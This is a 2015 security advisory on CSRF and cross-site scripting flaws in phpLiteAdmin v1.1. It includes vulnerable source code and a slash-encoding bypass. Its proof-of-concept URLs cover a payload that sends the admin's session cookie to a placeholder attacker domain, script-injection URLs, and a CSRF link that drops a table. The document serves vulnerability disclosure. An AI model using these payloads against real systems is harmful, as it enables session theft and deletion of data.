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phpLiteAdmin v1.1 CSRF & XSS Vulnerabilities



[+] Credits: John Page ( hyp3rlinx )

[+] Domains: hyp3rlinx.altervista.org

[+] Source:  http://hyp3rlinx.altervista.org/advisories/AS-PHPLITEADMIN0705.txt



Vendor:
================================
bitbucket.org/phpliteadmin



Product:
================================
phpLiteAdmin v1.1



Advisory Information:
================================================
CSRF & XSS Vulnerabilities



Vulnerability Details:
======================


CSRF:
------
No CSRF token exists when making calls to various SQL operations
therefore we can get user to drop the whole database tables if they click
on our malicious link and table is known.


XSS:
------
There are three XSS vulnerabilities I point out first is use of 'PHP_SELF', second is unsanitized parameter
for SQL statement when calling drop table method e.g. 'http://localhost/phpliteadmin.php?droptable=[XSS]'
and third is an unsanitized 'table' parameter e.g. 'http://localhost/phpliteadmin_v1-1/phpliteadmin.php?table=[XSS]'

Lets look at the first one more in depth as its more fun.
phpliteadmin uses a PHP reserved server variable $_SERVER['PHP_SELF'] which is vulnerable if not used correctly
allowing us to inject an XSS payload to steal session cookies and navigate them to a place of our choosing
in order to cause mayhem.

On line 32 of 'phpliteadmin.php' we find vulnerable code:

--------------------------------------------------------
//build the basename of this file
$nameArr = explode("?", $_SERVER['PHP_SELF']); 
$thisName = $nameArr[0];
$nameArr = explode("/", $thisName);
$thisName = $nameArr[sizeof($nameArr)-1];

//constants
define("VERSION", "1.1");
define("PAGE", $thisName);
-------------------------------------------------------

In PHP docs we find the following explanation of 'PHP_SELF':
"The filename of the currently executing script, relative to the document root."
ref: http://php.net/manual/en/reserved.variables.server.php

It is known $_SERVER['PHP_SELF'] can make your application insecure as we can inject code following a forward slash "/"
But we have slight problem to overcome, we can execute code but our forward slashes will not be processed correctly
and exploit will FAIL! leaving us with the following useless URL instead of taking the victim to a domain of our choice.


Fail exploit example:
http://localhost/phpliteadmin_v1-1/phpliteadmin.php/";'onMouseOver="window.open('http://hyp3rlinx.altervista.org')"

Failed Result:
http://localhost/phpliteadmin_v1-1/phpliteadmin.php/hyp3rlinx.altervista.org


But all is NOT lost!, we will construct our malicious URL forward slashes in our JS call to window.open() method using
String.charCodeAt(58) for ':' and String.charCodeAt(47) for '/' which will NOW give us what we seek, control over the users browser
taking them to some terrible dark place.

Bypass $_SERVER['PHP_SELF'] forward slash '//' processing issue:

Tada!, our successful XSS exploit:
http://localhost/phpliteadmin_v1-1/phpliteadmin.php/";'onMouseOver="(function(){var x='http';x+=String.fromCharCode(58)+String.fromCharCode(47)+String.fromCharCode(47)+'hyp3rlinx.altervista.org';window.open(x);})()"


Exploit code(s):
===============

XSS(s) POC:
----------
  

1- $_SERVER['PHP_SELF'] XSS exploit steals current admin session cookie and sends to remote server:
http://localhost/phpliteadmin_v1-1/phpliteadmin.php/";'onMouseOver="(function(){var x='http';x+=String.fromCharCode(58)+String.fromCharCode(47)+String.fromCharCode(47)+'MALICIOUS-DOMAIN';window.open(x+String.fromCharCode(47)+'cookietheft.php'+String.fromCharCode(63)+'='+document.cookie);})()"


2- SQL droptable XSS:
http://localhost/sectest/phpliteadmin_v1-1/phpliteadmin.php?droptable=<script>alert(666)</script>


3- SQL table XSS:
http://localhost/phpliteadmin_v1-1/phpliteadmin.php?table="/><script>alert(666)</script>



CSRF POC:
---------
Drop tables:
localhost/phpliteadmin_v1-1/phpliteadmin.php?droptable=mytable&confirm=1



Disclosure Timeline:
=========================================================


Vendor Notification:  NA
July 5, 2015  : Public Disclosure



Severity Level:
=========================================================
Med



Description:
==========================================================


Request Method(s):              [+] GET


Vulnerable Product:             [+] phpliteadmin_v1-1


Vulnerable Parameter(s):        [+] $_SERVER['PHP_SELF'], droptable, table


Affected Area(s):               [+] Admin


===========================================================

[+] Disclaimer
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author.
The author is not responsible for any misuse of the information contained herein and prohibits any malicious use of all security related information or exploits by the author or elsewhere.


(hyp3rlinx)